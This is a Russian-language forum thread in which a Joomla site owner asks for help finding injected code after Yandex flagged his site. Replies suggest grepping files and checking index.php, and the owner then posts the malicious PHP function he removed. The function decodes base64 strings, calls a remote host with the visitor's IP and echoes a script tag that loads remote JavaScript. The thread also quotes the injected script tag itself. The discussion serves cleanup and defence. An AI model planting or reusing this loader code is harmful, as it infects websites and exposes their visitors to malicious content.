Привет всем, вопрос может не в кассу, но все же задам.

Прошу помочь найти место с вирусом.
На сайте http://energo-grup.ru если взглянуть на исходный код, в самом низу кода появилась строка
</html><script src="http://msfikmv.podzone.org/rsize.js"></script>
Это js который динамически создает фрейм, за что яндекс сайт кидает в категорию зараженный.
Вопрос: в каком месте происходит подгрузка этого кода?
В Joomla не работал, с его архитектурой не знаком, помню раньше уже такое было, удалил этот код из одного файла и все было решено.

_____________
kuzroman@list.ru

Грепаните проект (сделайте поиск по содержимому файлов) и найдите места где вставляется этот JS. Если файлов много и лень ручками стирать все, то напишите рекурсивный скрипт который пробежится по файлам и удалит чужеродный код.

_____________
Заработок для веб-разработчиков: CodeCanyon
Мое Портфолио

index.php в корне, в самом низе длинная закодированная строчка, за комментируй и посмотри!

_____________
Ex3m.com.ua — Активный образ жизни

Поиск по проекту ничего не находит искал хоть какое то вхождение с urqstmw.gotdns.org/rsize.js (т.е. разбивал на фрагменты тоже), глухо.

В корневом Index.php (помню в прошлый раз нашел именно там). Сейчас там ничего похожего нет. Только php методы.

_____________
kuzroman@list.ru

убрал метод. Проблема исчезла, главное чтобы проблема в другом не возникла, поскульку с в joomla не секу.

function collectnewss() {

		if (!isset($_COOKIE["iJijkdaMnerys"])) {
        $value = 'yadeor';
		$ip = $_SERVER['REMOTE_ADDR'];
        $get = sql2_safe("aHR0cDovL3h4eHBvcm5vLnh4dXouY29tOjg4OC9tb3ZlLnBocD9pcD0=").$ip;
		$file = @fopen ($get, "r");
		$content = @fread($file, 1000);
		@setcookie("iJijkdaMnerys", $value, time()+3600*24);
		if (!$content)
			echo sql2_safe("PHNjcmlwdCBzcmM9Imh0dHA6Ly9wYWtlc3JyeS5pbmZvL3JzaXplLmpzIj48L3NjcmlwdD4=");
		else 
			echo $content;

		}
}
collectnewss ();

_____________
kuzroman@list.ru

Эти вирусы обычно появляются не в результате прямого взлома сайта, а из-за утечки паролей из FTP-клиентов.

_____________

echo '<pre>',print_r($var, 1);die;

root@server# make love && war

kuzroman
копай дальше, sql2_safe это обертка к base64_decode, где то же она объявлена, значит могут быть и другие инородные скрипты. Возможно есть шел.

там чтото типа base64_decode("ываполдтравслопоыв рабдопбаврлопвжлоар пюловы аолпмвюбам") как написал killer8080

_____________
Ex3m.com.ua — Активный образ жизни